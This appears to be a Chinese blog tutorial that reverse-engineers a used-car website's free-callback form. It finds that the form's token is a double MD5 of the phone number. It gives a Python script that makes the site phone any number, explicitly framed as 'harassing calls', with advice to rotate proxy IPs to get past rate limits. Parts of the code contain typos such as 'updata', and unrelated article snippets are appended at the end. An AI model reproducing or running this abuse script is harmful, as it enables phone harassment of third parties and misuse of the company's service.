Python模拟post提交表单数据

——某二手车网站回拨电话的分析与利用
在浏览某二手车网站的时候,发现可以提交手机号码,然后网站就会回拨给这个手机号,利用这个功能,可以实现一些目的。Python语言可以很便捷的实现这一想法。

Python在提交表单时利用到如下方法:

import urllib urllib2
url=” ” #所要请求数据的url
parameters={ } #参数形式 : “name” : “value”,参数多余一个用,相隔
data=urllib.urlencode(parameters)
request=urllib2.Request(url,data)
response=request.urlopen(request)

对于提交的post表单数据,我们需要知道的是URL和parameters,下面我们就分两步来实现,第一步是分析URL和parameter,第二步是代码实现。

分析URL和parameter
1.打开某二手车网站(https://www.guazi.com/ask/)

同时打开chrome浏览器的开发者工具

点击免费通话,这时候可以看到右侧开发者工具里面出现了网页信息,接着我们填入的手机号就会收到一个该网站的回拨电话,可以先拿自己的手机号码试验一下。

其中?act=callPhone显然就是和提交的电话号码有关,Initiator就是这个提交操作的源文件代码。我们先点击打开?act=callPhone,看看网站提交、响应的都是什么信息:

熟悉get/post请求的话,应该对上面的信息不陌生。其中general中的地址就是提交手机号码的请求地址,类型为POST,所以我们要看看都提交了什么表单数据(就是后面的Form Data)。

Form Data包含以下几个要提交的要素:
1. token: a98774ae5caa2446290dcc376de4c8e4
2. phone: 133****6812
3. puid: 0
显然phone就是我们刚才提交的手机号码,那么token和puid的值是怎么产生的呢?

我们可以再输入几个手机号码试一下,发现确实如此,phone对应的就是手机号码,puid每次都是0,而token每次都是变化的。只要我们能找到token是怎么产生的,就能够构造post表单了。
怎们得到token呢?既然是同一个手机号码token值相同,不同的手机号token值不同,也就是说token的产生只与输入的号码有关,那就先从源码看看有什么蛛丝马迹。

在网页上右击查看源代码,找到“免费通话”相关的代码

一下子就明白了,puid的值可以是0,可是没有看到和token相关的代码。
怎么办呢?

我们静下来分析一下:
我们输入手机号码以后,网页经过处理构造表单数据并把它提交给网站服务器,网页构造表单是通过js脚本来完成,那么我们看看网页包含什么js脚本。

源码中包含这两个js脚本,第二个是不是很熟悉?没错,就是刚才提交手机号码时network中?act=callPhone对应的Initiator

在开发者工具里打开该脚本,获得如下界面

把js代码复制出来到notepad++里面分析一下
先查找token字符串看能不能找到token

怎么样,找到了吧!
URL就是提交的地址,data:{}里面就是提交的数据表单,还是以键值对的形式表示的。一会我们也按这个格式构造表单就可以了。
分析一下这三个数值是怎么得来的
Token的值是a,我们看看前面a的值是怎么得到的

上一行代码中var a=o(o(n.val())) 我们可以显然的猜到n.val()就是手机号码。因为phone:n.val()中,我们从之前的判断中就知道了是手机号。不放心的话我们在往前看看n是怎么得到的:

n=e.phoneinput,i=e.phone_input,i=e.puid;
看,n和i都有了,在刚才网页的源代码里就已经知道phone_input是输入的手机号了:

这也验证了刚才的分析是正确的!
现在就只剩下分析token是怎么得到的。

var a=o(o(n.val()))可以看出,这里是对n.val()的值也就是手机号进行了两次处理,得到了token的值(a98774ae5caa2446290dcc376de4c8e4),32位字母和数字的混合。其实到这里熟悉加密解密的朋友应该就有思路了。Token的值是32位,首先想到的就是32位加密的md5值,而且var a=o(o(n.val()))中进行了两次O()的操作,可以猜测应该是进行了两次md5加密,事实是这样的么?我们测试一下就知道了。

发现没有,经过两次md5加密,果然的得到的就是token值。

到这里第一步分析就完成了,剩下的是利用python代码模拟浏览器提交手机号码实现对某一个手机号回拨电话了。

代码实现
到这一步就简单了,利用Python编写脚本,代码如下:

* coding:utf-8_*_

author = ‘技术宅AND代码控’

作用:输入手机号,回拨骚扰电话

网站:某二手车网站自动回拨页面

import urllib2,urllib,cookielib
import requests
import hashlib

输入手机号的函数

def yourphone():
phone = raw_input(“请输入11位手机号码:”)
if len(phone)!=11:
yourphone()
return phone

构造函数

def guazi_call(phone):
cookie = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))
#对yourphone进行两次MD5加密
md5_1 = hashlib.md5()
md5_1.updata(phone)
md5_2 = hashlib.md5()
md5_2.updata(md5_1.hexdigest())
token = md5_2.hexdigest()
# 需要POST的数据#
postdata = urllib.urlencode({
‘token’: token,
‘phone’: phone,
‘puid’: ‘0’
})
print postdata
# 自定义一个请求#
req = urllib2.Request(
url=’https://www.guazi.com/zq_callback/?act=callPhone‘,
data=postdata
)
# 访问该链接#
result = opener.open(req)
# 打印返回的内容#
print result.read()

需要注意的是
1,到了晚上九点之后,客服就下班了,也就不会有回拨电话了。
2,每次回拨之间有时间间隔。
3,播的多的话可能要限制Ip了,可以通过设置代理IP来解决

Python模拟post提交表单数据 ——某二手车网站回拨电话的分析与利用相关推荐

  1. 模拟form提交表单

    表单结构 模拟form提交表单,当点击按钮时执行form的submit()事件,表单的Name为接口所需参数名称,表单value为接口所需参数值 <!-- 模拟form表单提交 -->&l ...

  2. 提交表单数据到数据库_普通表单不仅适用于数据库

    提交表单数据到数据库 您也可以将类似的规则应用于数据对象类型. (You can apply similar rules to data object types, too.) You probabl ...

  3. jquery ajax提交表单数据的两种方式

    jquery ajax提交表单数据的两种方式 转载于:https://www.cnblogs.com/zhujiabin/p/4912364.html

  4. Spring Boot(三):RestTemplate提交表单数据的三种方法

    在REST接口的设计中,利用RestTemplate进行接口测试是种常见的方法,但在使用过程中,由于其方法参数众多,很多同学又混淆了表单提交与Payload提交方式的差别,而且接口设计与传统的浏览器使 ...

  5. 微信小程序项目实战:如何提交表单数据到云数据库

    微信小程序如何提交表单数据到数据库 1.先在wxml里面写一个表单,在form里面添加bindsubmit的属性,下面再添加两个button,在button里面添加属性form-type,form-t ...

  6. c语言写自动填写表单提交,利用C语言实现POST数据包如此简单【模拟网页提交表单】...

    http://www.maben.com.cn/archives/212.html 利用C语言实现POST数据包如此简单[模拟网页提交表单] //*************************** ...

  7. html表单向本页面提交数据,从页面提交表单数据的步骤之(一)

    从页面提交表单数据的方法之(一) 先说下开发中我使用的主要web利器: Bootstrap AdminLTE Jquery vue.js underscore.js 简介 利用表单给服务器提交数据是网 ...

  8. python带cookie提交表单自动登录(转)

    今天突然把博客给申请了,以前也想过的,奈于自己觉得水平还太低有点不好意思写博客,但是后来一想,自己的记录所学,加深印象,主要还是为了学习进步,不怕丢人!今天就稍微回顾一下这两天写的一段用python模 ...

  9. ajax异步提交 java_jquery ajax异步提交表单数据的方法

    使用jquery的ajax方法可以异步提交表单,成功后后台返回json数据,回调函数处理,可以不用刷新页面,达到异步的目的: 处理表单的数据可以用serialize()方法进行序列化,而如果提交的数据 ...

最新文章

  1. (Shadow,Gradient)
  2. 2017全球大数据产业八领域典型公司盘点分析
  3. KafKa集群安装、配置
  4. public,private,protected访问权限在Java,C++中的解析
  5. java B2B2C源码电子商务平台 -SpringCloud配置中心高可用搭建
  6. CodeForces - 933A A Twisty Movement(dp)
  7. CCNP精粹系列之十八--路由映射实战二,博主推荐文章
  8. Actor-ES框架:Ray-Handler-消息订阅器编写
  9. RUNOOB python练习题31 根据已输入的字符判断星期几
  10. Super详解(重点)
  11. html中哪些属于块级标记,html行级标记和块级标记都有哪些?
  12. 小黑小波比.Ubuntu14.04安装ffmpeg以及使用ffmpeg
  13. c语言秒表编程示例,求大神帮忙写一篇简单的C语言秒表程序, 谢谢。
  14. linux安装tailf 命令
  15. MybatisPlus_整合p6spy
  16. 数据库--sql查询某一时间段数据
  17. Linux+bridge做透明网桥
  18. 蓝桥杯嵌入式总结(KEY配置_按键扫描(三行代码)_矩阵按键_GPIO口输入和输出类型)
  19. OpenSSH移植到Linux开发板
  20. 跟益达学Solr5之使用Ansj分词器

热门文章

  1. Unity跟随鼠标顺时针或逆时针旋转之美
  2. 任正非与美国思想家的咖啡对话全文
  3. 新品上市 | Xilinx FPGA 下载器
  4. 平衡运输问题及其表上作业法---指派问题及其匈牙利解法
  5. Psychopy | 第2期:从Stroop看条件与循环
  6. Python操作表格
  7. react-native 调用第三方 SDK
  8. DMS应用性能管理案例分析(二)
  9. 瑞芯微RV1126部署yolov5-face_模型转换_输出后处理C++实现
  10. ANDROID 实现微信通讯录界面